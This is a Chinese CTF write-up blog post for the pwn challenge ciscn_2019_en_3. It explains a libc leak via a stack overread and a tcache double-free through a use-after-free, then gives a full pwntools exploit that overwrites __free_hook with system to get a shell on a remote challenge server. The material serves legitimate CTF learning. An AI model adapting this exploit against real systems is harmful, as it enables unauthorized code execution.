zoukankan      html  css  js  c++  java
  • ciscn_2019_en_3 tcache

    ciscn_2019_en_3

    安全检查

     程序流程

    开头,刚开始以为可以格式化字符串漏洞,但不能直接显示第几个参数,不过看了师傅的write up后,发现不仅要留意程序的堆情况,栈情况也需要留意,这里可以溢出

    add函数,单字节溢出

    edit和show函数都是假的

    delete函数,有uaf漏洞

     漏洞分析

    1. 程序开头没有检查边界,所以read函数,可以puts溢出,发现setbuffer+231就在s之后,由此泄露libc
    2. 利用uaf达到double free,将next指针指向free_hook,进行劫持,变为system的函数

    exp:

     1 from pwn import *
     2 context.log_level = 'debug'
     3 #p=process('./ciscn_2019_en_3')
     4 p=remote('node3.buuoj.cn',27610)
     5 elf=ELF('./ciscn_2019_en_3')
     6 libc=ELF('libc-2.27.so')
     7 
     8 def add(size,story):
     9     p.sendlineafter('choice:','1')
    10     p.sendlineafter('story:',str(size))
    11     p.sendlineafter('story:',story)
    12 
    13 def edit():
    14     p.sendlineafter('choice:','2')
    15 
    16 def show():
    17     p.sendlineafter('choice:','3')
    18 
    19 def delete(idx):
    20     p.sendlineafter('choice:','4')
    21     p.sendlineafter('index:',str(idx))
    22 
    23 p.recvuntil("What's your name?")
    24 p.sendline('pppp')
    25 p.recvuntil('Please input your ID.')
    26 p.sendline('pppppppp')
    27 
    28 setbuff=u64(p.recvuntil('x7f')[-6:].ljust(8,'x00'))-231
    29 libc_base=setbuff-libc.symbols['setbuffer']
    30 system_addr=libc_base+libc.symbols['system']
    31 free_addr=libc_base+libc.symbols['__free_hook']
    32 
    33 print(hex(libc_base))
    34 print(hex(setbuff))
    35 
    36 add(0x60,'pppp')
    37 add(0x60,'/bin/shx00')
    38 delete(0)
    39 delete(0)
    40 
    41 add(0x60,p64(free_addr))
    42 add(0x60,'pppp')
    43 
    44 print(hex(free_addr))
    45 #gdb.attach(p)
    46 add(0x60,p64(system_addr))
    47 #gdb.attach(p)
    48 #delete(1)
    49 
    50 p.interactive()

    注意事项:不要只看堆,也要看各个变量的情况,比如这次就是栈的边界溢出,泄露了libc,所以得加强对程序的理解才行

  • 相关阅读:
    fenby C语言 P9
    fenby C语言 p7
    fenby C语言 P6
    fenby C语言
    让博客园博客自动生成章节目录索引
    python学习之路:生成器并行运算
    Python学习之路:生成器
    Python学习之路:装饰器实现终极版
    Python学习之路:装饰器实现2
    Python学习之路:装饰器实现
  • 原文地址:https://www.cnblogs.com/pppyyyzzz/p/13900859.html
Copyright © 2011-2022 走看看